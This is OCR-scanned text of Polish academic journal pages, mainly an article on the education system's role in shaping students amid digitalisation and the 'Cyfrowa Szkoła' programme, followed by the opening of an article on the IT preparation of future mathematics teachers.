2L ¥ . Mirocha, Wolne oprogramowanie wobec analfabetyzmu technologicznego. Richard
Stallman w Polsce http://czlowiekitechnologie.com/wolne-oprogramowanie-wobec-analfabety-
zmu-technologicznego-richard-stallman-w-polsce/ (dostep: 13.03.2013).

2 Tamze.
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Politechnika Cze¢stochowska

ROLA SYSTEMU EDUKACJI
W KSZTALTOWANIU OSOBOWOSCII UCZNIA
WOBEC WIRTUALIZUJACEGO SIE SWIATA

ROLE OF EDUCATIONAL SYSTEM
IN SHAPING OF THE PERSONALITY OF A STUDENT
IN AN INCREASINGLY VIRTUALIZED WORLD

Stowa kluczowe: system edukacji, osobowos¢ ucznia, wirtualny $wiat
Keywords: educational system, personality of a student, virtual world

Streszczenie

W pracy przeanalizowano role, jaka wspoétcze$nie winien odgrywaé system edukacji
W ksztattowaniu osobowosci ucznia. Ucznia, ktéry juz funkcjonuje i bedzie funkcjonowat jako
osoba dorosta w coraz bardziej zcyfryzowanym i zwirtualizowanym §wiecie. Poruszono problemy
Zwigzane z wyborem najbardziej skutecznych form prowadzenia lekcji czy wyktadu, mobilizacji
uczniéw do samodzielnego i krytycznego wyszukiwania informacji w Internecie, uczenia krytycy-
zmu wobec coraz powszechniejszej metody pracy ucznia typu ,.kopiuj” i ,,wklej”, umiejetnosci
poruszania si¢ w wirtualnych przestrzeniach typu ,,Second Life”. Zwrdcono uwage na pozytywne,
ale i negatywne efekty wprowadzania programu ,,Cyfrowa Szkota”. Wskazano na aspekty mental-
nosciowe i ekonomiczne, z ktorymi boryka si¢ system edukacji przy wprowadzaniu nowoczesnych
form edukacji wykorzystujacych wspotczesne osiggnigcia teleinformatyki.

Summary

This work analyses the role that should presently be played by the educational system in a process
of shaping of the personality of a student. This student is already active, and will remain active as an
adult, in the increasingly digitalized and virtualized world. Problems are mentioned that relate to the choice
of the most effective forms of teaching: motivation of students to self-reliant and critical search for the
information in the Internet, being critical about the working method ,,copy-paste”, which is becoming the
most popular among students, and finally teaching them skills needed in virtual spaces like ,,Second Life”.
Both positive and negative effects of the introduced program ,,Cyber School” are mentioned.

Appointed are mental and economic aspects of the educational system in introducing modern
forms of education that use up-to-date achievements of computer sciences and teleinformatics.

Wstep

Swiat, ktory otacza obecnie ucznia zdecydowanie rozni sie od $wiata, w kto-
rym wychowali si¢ jego rodzice i nauczyciele. Dynamika zmian, jakimi cechuje
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si¢ wspotczesna rzeczywisto$¢ powoduje powstawanie wielu probleméw natury
emocjonalnej i wychowawczej, ktore przede wszystkim uwidaczniajg w rela-
cjach ucznia z rodzicami, rowiesnikami i nauczycielami. Szczeg6lnie ci ostatni
poddani sa niezwyklej presji zwigzanej z jednej strony z przenikaniem wspot-
czesnych norm wspoétzycia spotecznego do systemu szkolnego, a z drugiej stro-
ny z postepujaca rewolucja teleinformatyczng, ktora zaczyna odciskaé coraz
wigksze pigtno na praktycznie wszystkie elementy procesu dydaktycznego.

Do przesztosci nalezy czas, w ktorym autorytet nauczyciela zwigzany byt
bezposrednio z wykonywanym zawodem. A on sam cieszyl si¢ prestizem tak
wsrod ucznidw, jak i wsérdd rodzicow. Nie wnikajac w wielorakie przyczyny
zwigzane z obnizeniem tego prestizu, ktorych wyjasnienie wymaga dogltebnej
analizy psychologicznej i socjologicznej zwrdécono w niniejszej pracy uwage
tylko na jeden aspekt tego zagadnienia. Skupiono si¢ mianowicie na relacjach
migdzy uczniem a nauczycielem poprzez pryzmat dostepnych w szkole wspot-
czesnych technologii teleinformatycznych, ktore przenikajac wszystkie dziedzi-
ny wspotczesnego zycia powoduja, ze zardbwno uczen jak i nauczyciel w coraz
wigkszym stopniu zaglebiaja sie, ze wszystkimi tego konsekwencjami, w ogar-
niajaca nas zewszad cyberprzestrzen.

1. Uczen wobec wspolczesnej rzeczywistosci

Mozna zauwazy¢ na ulicy, w szkole, w domu, ze podstawowym elemen-
tem, ktory charakteryzuje funkcjonowanie wspotczesnego ucznia to mniej lub
bardziej rozbudowany telefon komoérkowy. Przy czym nalezy wyraznie zazna-
czy¢, ze telefon ten, paradoksalnie, w niklym stopniu uzywany jest do rozméow.
Podstawowymi wykorzystywanymi przez mlodziez jego funkcjami sg: mozli-
wos¢ wysytania SMS-6w, gry i dostep do Internetu. Te trzy ustugi oferowane
przez telefony komoérkowe wprowadzity prawdziwg rewolucje do wspolczesne-
go stylu bycia i funkcjonowania miodziezy.

Mozliwo$¢ wysylania SMS-6w spowodowata radykalng zmiang form wza-
jemnej komunikacji miedzy mtodymi ludZzmi. Krétki komunikat coraz czeSciej
zastepuje dtuzsza forme wypowiedzi'. Fakt ten spowodowal zauwazalny przez
nauczycieli 1 to na wszystkich poziomach edukacji, brak umiejetnosci wsrod
uczniow i studentow ptynnego i zrozumialego wystawiania si¢. Skutkuje to row-
niez tym, ze mlodziez nie potrafi przez dhuzsza chwile skupi¢ sig¢, by wystuchaé
dowolnego przekazu stownego. Nie méwigc juz, ze wigkszo$¢ z nich nie potrafi
powtorzy¢, o czym byt ten przekaz. Zrobienie samodzielnie notatki np. z wykla-

Y Jak skrécié SMS-a? Przewodnik po $wiecie emotikondw, http://tech.wp.pl/kat,130058,ti-
tle,Jak-skrocic-SMS-a-Przewodnik-po-swiecie-emotikonow,wid,14848910,wiadomosc.html?ticaid
=111c0b. (dostegp: 29.11.2013).
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du przekracza mozliwoséci wigkszosci studentéw. Przegladajac zadania gimna-
zjalne i maturalne z jgzyka polskiego, a zwlaszcza wyniki z tych egzaminow
mozna zatozy¢, ze podobne problemy wystepuja rowniez na nizszych stopniach
edukacji. Dowodzi to, ze uczniowie nie sg przygotowywani do samodzielnej
pracy polegajacej na pisemnym formutowaniu wlasnych przemyslen.

Mobilny dostep do Internetu, przy wykorzystaniu telefonu komoérkowego
czy tez laptopa lub smartfona, ktory umozliwia mtodziezy korzystanie z sieci
w kazdym miejscu i w dowolnym czasie to kolejny przyktad tego, jak technolo-
gia teleinformatyczna przenika do wspotczesnego funkcjonowania mtodego
cztowieka.

Praktycznie nieograniczony dostep do Sieci umozliwia mlodziezy korzysta-
nie z wszystkich jej dobrodziejstw takich jak wyszukiwanie i pozyskiwanie in-
formacji, korzystanie z ustug edukacyjnych czy udzial w portalach spotecz-
nosciowych. Niestety, wspolczesny Internet niesie ze sobg rowniez liczne
zagrozenia.

Do najwazniejszych z nich, szczegdlnie w odniesieniu do dzieci i mtodzie-
zy, nalezatoby zaliczy¢ tatwy dostep do nieodpowiednich treSci zwigzanych
zwlaszcza z przemoca i pornografig, oraz mozliwo$¢ nawigzywania znajomosci
z innymi osobami poprzez sie¢. Wedtug badan CBOS 23% internautow zadekla-
rowalo nawigzanie takiej znajomosci, a 16% spotkato si¢ osobiscie z osoba po-
znana w Sieci’. Znajomosci te, zawierane w wirtualnym $wiecie, przenoszone do
$wiata realnego czgsto okazujg si¢ niebezpieczne dla mtodych Iudzi. Konse-
kwencje wynikajace z tego typu znajomosci w postaci migdzy innymi molesto-
wania psychicznego, a czestokro¢ i fizycznego sg szeroko opisywane w me-
diach®. Zagrozenia powyzsze nalezy sklasyfikowaé jako zagrozenia o charakte-
rze spoteczno-psychologicznym. W odniesieniu do uczniéw i studentéw naleza-
loby wskaza¢ na jeszcze jedno zagrozenie, ktore paradoksalnie zwigzane jest
z dobrodziejstwem Internetu, a mianowicie tatwym dostepem do informacji
przeradzajacy sie w syndrom zwany czesto metoda ,.kopiuj i wklej”, a w dalszej
kolejnosci skutkujgcy coraz wigksza liczbg niesamodzielnych prac i plagiatow.

Stworzony w 2003 roku, przez firm¢ Linden Lab, tzw. Wirtualny $wiat (Se-
cond Life) pokazuje, jak t¢ nowoczesng technologie¢ zastosowa¢ do realizacji

2 M. Feliksiak, Komunikat z badan. BS/75/2013. Internauci 2013. http://www.cbos.pl/SPIS-
KOM.POL/2013/K_075_13.PDF (dostep: 15.10.2013).

% http://helpline.org.pl/dowiedz-sie/3-niebezpieczne-kontakty. (dostep: 19.12.2013); P. Ko-
Scielniak, Niebezpieczne sieciowe znajomosci. Na stronie: http://www.rp.pl/artykul/970267.html.
Dostep:10.12.2013);  http://www.tvn24.pl/tak-jest,39,m/fala-przemocy-w-internecie,346729.html.
(dostep: 12.12.2013); http://wiadomosci.wp.pl/kat,36474 title,Zero-tolerancji-dla-nekania-i-prze-
mocy-w-sieci-kampania-w-Wielkiej-Brytanii,wid,15862846,wiadomosc.html?ticaid=111de6. (do-
step: 10.12.2013).
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projektow, atrakcyjnych dla mtodziezy, ale stwarzajacych niebezpieczenstwo
polegajace na zatarciu u uczestnikow tej gry réznic w postrzeganiu $wiata real-
nego i wirtualnego®. Podobne zjawisko zachodzi rowniez w wielu grach kompu-
terowych, w ktorych uczestnik moze otrzymac ,,drugie zycie” i dalej kontynuo-
waé gre’. Moze to doprowadzi¢ w $wiecie realnym do zaburzen w postrzeganiu
przez niego otaczajgcej go rzeczywistosci.

Istotnym elementem charakteryzujacym funkcjonowanie miodego czto-
wicka we wspotczesnym §wiecie jest posiadanie konta na portalu spoteczno-
sciowym.

Wedtug badan CBOS 60% internautéw posiada konto na ktoryms$ z dostep-
nych portali spotecznosciowych®. Przy czym w grupie wiekowej 18—24 lata 90%
internautow posiada takie konto.

Portale spoteczno$ciowe staty si¢ niejako samodzielnym bytem w wirtualnej
rzeczywistosci, a mtodzi ludzie traktuja je jako element swojego zycia. Wigk-
szo$¢ miodych internautdéw rozpoczyna dzien od sprawdzenia swojego konta na
portalu spotecznosciowym. Na nich utrzymuje si¢ stare i zawiera nowe znajo-
mosci, dyskutuje si¢, wymienia zdj¢ciami, publikuje si¢ wszelkiego typu infor-
macje, czgsto bardzo intymne, ktore nierzadko sg przyczyng wielu problemow
W realnym zyciu.

Z korzystaniem z sieci wiaze si¢ jeszcze jedno zagadnienie, ktore czestokro¢
jest przestaniane przez inne problemy badawcze dotyczace Internetu. Jest to
problem czasu, jaki internauta spedza w Sieci. Wszystkie czynnos$ci, nawet naj-
prostsze, ktore uzytkownik wykonuje w Internecie wymagaja czasu. Czasu, kto-
ry jest niepodzielny. Przedzial czasu wykorzystany na jedno dziatanie nie moze
by¢ ponownie wykorzystany na dziatanie inne. Mlody cztowiek spedzajacy, jak
podaja badania, srednio 15 godzin tygodniowo w Internecie nie moze tego czasu
wykorzysta¢ na nic innego (5% internautéw deklaruje, ze spedza w Internecie az
36 godzin tygodniowo)’. Stad syndrom ,.pustych podworek” i ,.pustych trzepa-
kéw”, a w efekceie trudnosci, jakie coraz cze$ciej majg mtodzi ludzie w funkcjo-
nowaniu w $wiecie realnym.

Wszystkie powyzsze problemy wymagaja skutecznego ich rozwigzywania
w toku nauki szkolnej, co stawia przed programami nauczania, nauczycielami
i calym procesem dydaktycznym wyzwania, z jakimi dotychczas szkota nie spo-
tkata sig.

* http://lindenlab.com.  (dostep: 12.12.2013);  http://secondlife.pl/ (dostep: 12.12.2013);
http://secondlifedlapoczatkujacych.wordpress.com/. (dostep: 12.12.2013).

® http://www.cda.pl/gry-online/show/drugie_%C5%BCycie/pl

® M. Feliksiak, Komunikat z badan...

" Tamze.
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2. Cyfryzacja polskiej oSwiaty — sprzet

Przystosowywanie polskiej edukacji do wspotczesnej cyfrowej rzeczywisto-
$ci ma juz wieloletnia historig. Na poczatku XXI wieku w ramach programéw:
,Komputer w kazdej gminie”, ,,Komputer w kazdej szkole”, ,,Pracownia interne-
towa w kazdej szkole” z roku 2003, rozpoczeto wyposazanie polskich szkot
W sprzet komputerowy. Istotne przyspieszenie tego procesu nastgpito po przy-
stapieniu Polski do Unii Europejskiej. W roku 2004 uruchomiono nowe projek-
ty: ,,Pracownie komputerowe dla szkot” i ,,Internetowe Centra Informacji Mul-
timedialnej w bibliotekach szkolnych i pedagogicznych”, finansowane z Euro-
pejskiego Funduszu Spofecznego®. Realizacja tych projektow zdecydowanie
poprawila stan i jako$¢ wyposazenia teleinformatycznego polskich szkot. Jak
podato MEN, w latach 2005-2008 wykonano dostawy do ogotem 19 954 pra-
cowni szkolnych a liczba dostarczonych zestawoéw komputerowych wyniosta
334 453, W kolejnych latach liczba sprzetu komputerowego systematyczne
wzrasta. Obecnie wedlug Matego Rocznika Statystycznego GUS z 2013 roku
96,4% szkot podstawowych, 82,1% gimnazjow, 36,3% zasadniczych szkot za-
wodowych, 77,2% liceéw, 75,1% technikow, 48,7% szkoét policealnych jest
wyposazonych w komputery®. Niestety, statystyka ta nic nie méwi o nowocze-
snosci i jakosci tego sprzgtu. A przede wszystkim nie pozwala ocenié, W jakim
procencie jest to sprzet mobilny, ktory przy dzisiejszym rozwoju technik infor-
macyjno-komunikacyjnych zaczyna odgrywac kluczowa role we wdrazaniu tych
technologii do nowoczesnych form ksztatcenia. Z danych GUS wynika rowniez,
ze stosunkowo niski jest wskaznik mowiacy o mozliwos$ci podtaczenia, dostep-
nych dla ucznidow, komputerow do szerokopasmowego Internetu. Dostep ten
przy obecnym rozwoju technologii multimedialnych jest sprawa decydujaca
0 mozliwosci prowadzenia efektywnego procesu dydaktycznego z wykorzysta-
niem technologii informacyjno-komunikacyjnych. Tymczasem tylko 54,5%

8 PRACOWNIE KOMPUTEROWE DLA SZKOL, http://mww.men.gov.pl/index.php?op-
tion=com_content&view=article&id=482%3Apracownie-komputerowe&catid=123%3Aksztacenie-
i-kadra-edukacja-informatyczna-i-medialna-dokumentacja-projektow-efs-2004-2006 &Itemid=160.
(dostep: 10.10.2013); INTERNETOWE CENTRA INFORMACIJI MULTIMEDIALNEJW BIB-
LIOTEKACH SZKOLNYCH | PEDAGOGICZNYCH. http://www.men.gov.pl/index.php?op-
tion=com_content&view=article&id=483%3Ainternetowe-centra-informacji-multimedialnej&ca-
tid=123%3Aksztacenie-i-kadra-edukacja-informatyczna-i-medialna-dokumentacja-projektow-efs-
2004-2006&Itemid=160 (dostep: 10.10.2013).

® http://www.men.gov.pl/index.php?option=com_content&view=article&id=482%3Apracow-
nie-komputerowe&catid=123%3Aksztacenie-i-kadra-edukacja-informatyczna-i-medialna-dokum-
entacja-projektow-efs-2004-2006& Itemid=160 (dostep: 11.09.2013).

RS maly_rocznik_statystyczny 2013. http://www.stat.gov.pl/gus/5840_737 PLK_HT
ML.htm (dostep: 11.09.2013).
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komputerow w szkotach podstawowych ma mozliwo$§¢ komunikowania si¢
Z Internetem w trybie szerokopasmowym. W technikach wskaznik ten wynosi
59,3%, w liceach jest najwyzszy i wynosi 76,4%. W dzisiejszych czasach nalezy
go jednak uznaé¢ za zdecydowanie niezadowalajacy.

Konieczno$¢ systematycznego unowoczes$niania szkolnej bazy teleinforma-
tycznej zostala uwzgledniona w uchwale nr 40/2012 Rady Ministrow z dnia
3 kwietnia 2012 roku w sprawie Rzadowego Programu rozwijania kompetencji
ucznidow 1 nauczycieli w zakresie stosowania technologii informacyjno-
komunikacyjnych — ,,Cyfrowa szkota” oraz w Rozporzadzeniu Rady Ministrow
z dnia 3 kwietnia 2012 roku w sprawie warunkow, form i trybu realizacji przed-
sigwzigcia dotyczacego rozwijania kompetencji uczniow i nauczycieli w zakre-
sie stosowania technologii informacyjno-komunikacyjnych™.

Rozporzadzenie to ustala, na jakich warunkach organizacyjnych i finanso-
wych szkoly mogg uczestniczy¢ w tym projekcie. Ustala wymogi stawiane nau-
czycielom pracujacym w tych szkotach i precyzuje, w jakim stopniu, w procesie
dydaktycznym, majg by¢ wykorzystane nowoczesne technologie informacyjno-
-komunikacyjne. W zataczniku nr 1 do tego Rozporzadzenia sprecyzowano wy-
kaz pomocy dydaktycznych, na zakup ktérych moze by¢ udzielone wsparcie
finansowe oraz sprecyzowano warunki, jakie powinny spetnia¢ pomoce dydak-
tyczne. Interesujace jest, ze wsérdd tych pomocy dydaktycznych wyszczegolnio-
no przenosne komputery dla ucznia i nauczyciela oraz dopuszczono mozliwos¢
zakupu innych mobilnych urzadzen majacych funkcje komputera z odpowied-
nim oprogramowaniem. Nalezy w tym przypadku rozumie¢, ze ustawodawca
dopuszcza zakup np. smartfonéw czy tabletow. W ten sposob otwiera si¢ nowa
era w komputeryzacji szkot, a mianowicie era urzadzen przeno$nych. Tym bar-
dziej ze ustawodawca zaleca rowniez w ust. 1, pkt 2 ww. zalacznika zakup sza-
fek do przechowywania i bezpiecznego przemieszczania pomiedzy salami lek-
cyjnymi przenos$nych komputerow dla uczniow, posiadajacych funkcje tadowa-
nia baterii — w zaleznosci od wybranego przeno$nego komputera. Ponadto zaleca
si¢ zakup kontrolera WLAN zarzadzajacego szkolng siecig bezprzewodows.

Projekt ,,.Cyfrowa szkota”, jako program pilotazowy byl realizowany
w okresie od 4 kwietnia 2012 r. do dnia 31 sierpnia 2013 r. Stanowil on wstep
do planowanego do wdrozenia wieloletniego programu rzgdowego w sprawie
rozwijania kompetencji uczniéw i nauczycieli w zakresie stosowania technologii
informacyjno-komunikacyjnych w edukacji‘?>. W ramach tego projektu wyposa-
zono w sprzet komputerowy i multimedialny 399 szkdt podstawowych z calej

1'Dz.U.z2012r. nr 72, poz. 411.

12 Cyfrowa szkota i nowe umiejetnosci: program pilotazowy rzadu na witrynie internetowej
mac.gov.pl pod adresem http://mac.gov.pl/dzialania/cyfrowa-szkola-i-nowe-umiejetnosci-pro-
gram-pilotazowy-rzadu (dostep: 15.10.2012); http://www.cyfrowaszkola.men.gov.pl.
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Polski. Wstepnego podsumowania programu ,,Cyfrowa szkota” dokonano
w czerwcu 2013 roku. Uznano, ze projekt spetnit swoje podstawowe zadania
i MEN zapowiedziato jego kontynuacje™. Szczegdtowy raport podsumowujacy
ten projekt, przygotowat na zlecenie MEN Instytut Badan Edukacyjnych™.
W czgsci raportu dotyczacej infrastruktury teleinformatycznej stwierdzono, ze
51% dyrektorow szkot zglaszato problemy techniczne zwigzane z zakupionym
sprzgtem, a 61% wskazywato na niewystarczajace potaczenie z Internetem. Dy-
rektorzy szkot wyrazaja rowniez niepokdj zwigzany z ekonomicznymi skutkami
utrzymania istniejgcej infrastruktury teleinformatycznej. Przy obecnym pozio-
mie finansowania o$wiaty nie widza oni mozliwosci jej nalezytej konserwacji,
nie moéwigc juz o systematycznej modernizacji bazy teleinformatycznej szkot. W tej
sytuacji nie moze budzi¢ zdziwienia fakt, ze wickszo$¢ mtodziezy, zwlaszcza z ro-
dzin dobrze sytuowanych, posiada sprzet teleinformatyczny (laptopy, smartfony,
tablety) zdecydowanie nowoczesniejszy i lepszej jakosci niz tzn, jaki moze im zao-
ferowa¢ szkota. Skutkuje to juz w wielu przypadkach lekcewazeniem przez mto-
dziez szkoly, ktora w ich przekonaniu jest strukturg przestarzala nienadgzajacg za
zmianami zachodzgcymi we wspoltczesnej cyberprzestrzeni.

Wyposazenie polskiej oswiaty w infrastrukture teleinformatyczna dobrze
jest skonfrontowac z opiniami nauczycieli na ten temat.

Szymon Konkol z Rybnika, nauczyciel cukiernictwa i piekarnictwa, stwier-
dzit, ze ,,glownym problemem w naszej pracy jest mur niezrozumienia i brak
sprzetu w szkole™",

Marta Florkiewicz-Borkowska, nauczycielka niemieckiego z gimnazjum
w Pielgrzymowicach koto Cieszyna, powiedziata, ze ,,polaczenie si¢ zrywa, kompu-
tery sie¢ wieszajg. Wigkszo$¢ prac z moimi uczniami wykonujemy w domach,
w czasie wolnym. (...) Marze o klasie dobrze wyposazonej i z szybkim Internetem™™*®.

Otwarte pozostaje pytanie, jaka jest skala problemu sygnalizowana przez dyrek-
toré6w 1 ww. nauczycieli. Znajac rzeczywisto$¢ polskiej oswiaty mozna z duza doza
prawdopodobienstwa stwierdzi€¢, ze sytuacje tego typu dotycza wigkszosci szkot,
amimo to od 1 wrzesnia 2013 roku zgodnie z Rozporzadzeniem MEN weszio
W zycie unormowanie ,jeden uczen przy jednym komputerze”'’. Interesujacy
bytby raport MEN, jak to Rozporzadzenie zostato praktycznie zrealizowane?

3 http:/iwww.cyfrowaszkola.men.gov.pl/index.php/informacje-o-programie/285-50-tys-lekc-
ji-przy-udziale-cyfrowej-szkoly-men-zapowiada-kontynuacje-programu. (dostep: 10.12.2013).

4 http://www.ibe.edu.pl/pl/; http:/feduentuzjasci.pl/images/stories/publikacje/ibe-raport-cyf-
rowa-szkola.pdf (dostep: 10.12.2013).

B A. Pezda, Poslowie odkrywajg , Cyfrowq szkole”, http:/lwyborcza.pl/1,75478,1397
0146,Poslowie_odkrywaja__Cyfrowa_szkole .html (dostep: 12.12.2013).

16 Tamze.

7 Organizacja zajeé komputerowych, informatyki lub technologii informacyjnej od 1 wrze-
$nia 2013 r. https://www.men.gov.pl/index.php?option=com_content&view=article& id=5538%3
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3. Wdrazanie technologii informacyjno-komunikacyjnych
w procesie dydaktycznym

Wyposazenie szkot w nowoczesny sprzet teleinformatyczny jest bardzo
waznym, ale tylko jednym z elementow unowoczesniania polskiej szkoty i przy-
gotowania jej do funkcjonowania we wspotczesnym cyfrowym $wiecie.

Niezwykle istotnym elementem w tym procesie jest nauczyciel — dobrze przy-
gotowany do wdrazania i wykorzystywania technologii informacyjno-komunika-
cyjnych w swojej pracy dydaktycznej.

Wedhug Raportu Instytutu Badan Edukacyjnych oceniajacego projekt ,,Cy-
frowa szkota” 28% dyrektorow szkot 1 42% e-koordynatorow wskazato na brak
odpowiednich umiejetnosci wsrod nauczycieli wdrazajacych ten projekt®.

Powotany przez Ministerstwo Cyfryzacji i Administracji niezalezny zespot
ekspertow do spraw oceny przygotowania nauczycieli do wdrazania technologii
informacyjno-komunikacyjnych (niezaleznie od projektu ,,Cyfrowa szkota”) wg
informacji Aleksandry Pezdy z czerwca 2013 roku ma problemy z podsumowa-
niem danych, ze wzgledu na obszerny materiat do analizy i obawe czy przedsta-
wione wnioski beda na tyle interesujace by uzasadniaty te kosztowne badania®™.

Natomiast Artur Grabek cytuje fragment tego raportu w internetowym wy-
daniu ,,Rzeczpospolitej” z 11 grudnia 2013 roku: ,,Wyniki sugeruja, iz nauczy-
ciele moga nie posiada¢ wystarczajacych kompetencji cyfrowych, jak rowniez
jasno sprecyzowanej wizji uzycia TIK w dydaktyce. Stan wiedzy na temat prze-
kazanej technologii i jej potencjatu jest w wigkszosci szkot zbyt maty, aby efek-
tywnie wykorzysta¢ przekazany szkotom sprzet™?.

Informacje z obu raportéw nie napawaja optymizmem co do efektywnego
wdrazania technologii informacyjno-komunikacyjnych w polskiej o$wiacie.

Analizg tych raportéw i wypracowaniem odpowiednich dyrektyw dotycza-
cych wdrazania technologii informacyjno-komunikacyjnych w polskim syste-
mie o$wiaty mial zaja¢ si¢ w styczniu 2014 roku Komitet Rady Ministrow ds.
Cyfryzacji*'.

Otwarte pozostaje pytanie, jak wobec powyzszych faktéw prowadzi¢ nowo-
cze$nie proces dydaktyczny i jakie kluczowe elementy powinny zawiera¢ pro-

Aorganizacja-zaj-komputerowych-lub-informatyki&catid=272%3Aministerstwo-komunikaty-i-wy
janienia-men&Itemid=355 (dostep: 10.12.2013).

18 http:/Awww.ibe.edu.pl/pl/

¥ A. Pezda, Raport z ,, Cyfrowej szkoly”. Tablica, ksero czy komputer — i tak definicje trzeba
wykué¢ na pamigé. http://lwyborcza.pl/szkola20/1,106745,14177269,Raport_z_Cyfrowej_szkoly
_Tablica_ksero_czy_komputer.html?as=2 (dostep: 11.12.2013).

20 A, Grabek, Szkola weigz analogowa, http:/iwww.rp.pl/artykul/10,1071506-Szkola-wciaz-
analogowa.html. (dostep: 20.12.2013).

2 Tamze.
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gramy nauczania wszystkich przedmiotow, w tym zwlaszcza technologii infor-
macyjno-komunikacyjnych i informatyki.

Rozwigzaniem, przynajmniej czeSciowo tych problemow, powinny byc¢ tre-
$ci e-podrecznikow i szczegdtowe zalecenia dotyczace ich wdrazania przygoto-
wywane w ramach projektu ,,Cyfrowa szkota”.

Ciekawym przyktadem wprowadzania nowoczesnych technologii informa-
cyjno-komunikacyjnych do procesu dydaktycznego jest dziatalno$é¢ ,,Superbel-
frow”?. Wykorzystuja oni w procesie dydaktycznym Facebooka, blogi, portal
YouTube.

Interesujacy jest rowniez projekt Khan Academy, w ramach ktorego udo-
stepniane sa za darmo, w formie plikéw wideo, lekcje z wielu przedmiotow?.
Korzysta¢ z nich mogg nie tylko uczniowie, ale wszyscy zainteresowani kon-
kretnym zagadnieniem.

Wobec dynamicznych zmian we wspoétczesnym $wiecie formy procesu dy-
daktycznego musza by¢ na biezaco korygowane i dostosowywane do otaczajacej
nas cyberprzestrzeni. Tylko cigglos¢ tego procesu moze zagwarantowac wysoka
jakos¢, efektywnos¢ i skutecznos¢ dydaktyki.

Zakonczenie

Z duza doza prawdopodobienstwa mozna stwierdzi¢, ze we wspotcze-
snym i coraz bardziej zwirtualizowanym $wiecie wychowanie i edukacja mtode-
go pokolenia wymyka si¢ spod kontroli tak rodzicow, jak i nauczycieli. Tempo
codziennego zycia, pogon za pracg i jej utrzymaniem powoduje, ze wigkszos¢
rodzicow scedowuje procesy wychowawcze na szkote, ta zas nie nadaza wobec
dynamicznych zmian w $§rodowisku, w ktérym wspolczesnie funkcjonuje uczen,
zarbwno w ksztaltowaniu jego osobowosci, jak i w zakresie przygotowania go
merytorycznie do funkcjonowania w obecnej cyberprzestrzeni. Przyczyn tego
stanu rzeczy nalezy upatrywa¢ przede wszystkim w dynamicznych zmianach
zachodzacych w otaczajacym nas $wiecie i praktycznym braku mozliwos$ci
szybkiego reagowania na procesy w nim zachodzace. Wobec tatwosci i prostocie
z jakim mlody cztowiek moze dotrze¢ do interesujgcej go informacji, klasyczny
drukowany podrecznik wydaje si¢ by¢ reliktem dawnej przesztosci. Nawet pro-
pagowany obecnie przez wladze oswiatowe e-podrecznik nie jest w stanie kon-
kurowac z szybkoS$cia, z jakg uczen moze uzyskac aktualng informacje w Inter-
necie. Oczywiscie ,.klasyka” koniecznego materiatu, jaki trzeba przekaza¢ ucz-
niowi z takich przedmiotéw jak matematyka czy fizyka pozostaje praktycznie

22 http://www.superbelfrzy.edu.pl/; A. Pezda, Raport z ,, Cyfrowej szkoly™ ...
2 http://pl.khanacademy.org/
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niezmienna (szkoda tylko, ze uczniowie nie chcg lub nie sg intelektualnie pre-
dysponowani do przyswojenia tego materialu) to juz w przypadku jezyka pol-
skiego (perturbacje wokot obowigzujacego kanonu lektur) czy historii (ktora
nalezaloby praktycznie napisa¢ od nowa, wraz ze zmiang uktadu politycznego
w kraju) mozliwos$¢ szybkiej ingerencji w podrgcznik drukowany, a nawet e-pod-
recznik jest w porownaniu w informacja dostepng w Internecie, znikoma.

Poza tym wspotczesna mtodziez ery Internetu, komunikatoréow i portali spo-
lecznosciowych postrzega otaczajacy ja swiat przez pryzmat funkcjonujacej tam
wirtualnej rzeczywistosci, a realna rzeczywistos¢ szkolna reprezentowana cze-
stokro¢ przez nauczyciela, ktory trudno odnajduje si¢ w obecnej cyberprzestrze-
ni, traktowana jest jako zjawisko z minionej epoki.

Otwarte pozostaje pytanie, czy, a jezeli tak, to kiedy uda si¢ to zjawisko
zmieni¢?
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jania kompetencji uczniéw i nauczycieli w zakresie stosowania technologii informacyjno-
-komunikacyjnych ,,Cyfrowa Szkota” (Dz.U. z 2012 r. nr 72, poz. 411).
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Streszczenie
W artykule autor zwraca uwage na potrzebe wlasciwego przygotowania informatycznego
przyszitego nauczyciela, bowiem w zmieniajacej si¢ rzeczywisto$ci uczniowie coraz czesciej ko-
rzystaja z komputera oraz innych urzadzen multimedialnych i nalezy im pokazaé, jakie sa mozli-
wosci wykorzystania tych urzadzen do wspomagania procesu nauczania i uczenia si¢.

Summary

In this article | would like to draw attention to the need for proper IT preparation of the future
teacher since in the changing reality pupils more often use both computer and also other multime-
dia appliances. That is why it is essential to show them what possibilities of these appliances are to
assist the process of teaching and learning itself.

Wstep

Wykorzystanie nowoczesnych technologii w procesie nauczania i uczenia
si¢ matematyki wigze si¢ z wieloma istotnymi kwestiami, takimi jak koniecz-
no$¢ precyzyjnego sformutowania celow oraz metod nauczania i uczenia sie,
okreslenie miejsca i roli nauczyciela, a takze ucznia w nowej rzeczywistosci.
Nalezy okresli¢, w jaki sposob zostanie zorganizowany proces nauczania i UCZe-
nia si¢, a dokladniej nalezy ustali¢ jego miejsce. Pamigtajmy, ze oprocz trady-
cyjnego nauczania w szkole mozna je prowadzi¢ rowniez on-line w wirtualnej
klasie. Ten sposob pozwala uczniowi wybra¢ por¢ i miejsce nauki, a takze in-
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dywidualnie do whasnych potrzeb ustalié¢ tempo pracy’. W ostatnich latach na-
stapito gwaltowne zainteresowanie wiasnie tg formg nauki. Niemniej jednak popu-
larne jest taczenie dwoch form nauczania, zdalnej i tradycyjnej (blended-learning)?®.
Zadna z tych form nie zastgpi catkowicie nauczania tradycyjnego, ato dlatego, ze
pewne podstawowe tresci uczen/student musi opanowac, aby mogt w perspektywie
wilasciwie wykorzystywa¢ nowe technologie. Uczen/student Zle przygotowany,
podobnie zresztg jak Zle przygotowany nauczyciel, nie bedzie w stanie wiasciwie
korzysta¢ z nowych technologii. A jesli tak, to jego dziatania nie przyniosg zadnych
istotnych zmian w procesie nauczania i uczenia si¢ matematyki.

1. Informatyczne przygotowanie przyszlych nauczycieli

Wilasciwie przygotowany nauczyciel powinien posiada¢ wiedze z zakresu:

e obslugi komputera i administrowania pracownig komputerowa,

e zZnajomosci podstawowego oprogramowania uzytkowego;

e znajomosci oprogramowania dydaktycznego z zakresu matematyki;

e umigjetnosci wykorzystania dostepnego oprogramowania do realizacji

konkretnych tematow lekcii;

e sposobow organizacji pracy na lekcjach matematyki z wykorzystaniem

komputera®.

Mimo iz nauczyciele twierdza, ze z wiedza na temat nowoczesnej technolo-
gii informatycznej nie maja wiekszych probleméw, to mozna zaobserwowac, ze
jednak nie sg dostatecznie przygotowani do wykorzystania nowych technologii
W swojej pracy nauczyciela. Swiadczy o tym fakt, ze bardzo mata liczba zajeé
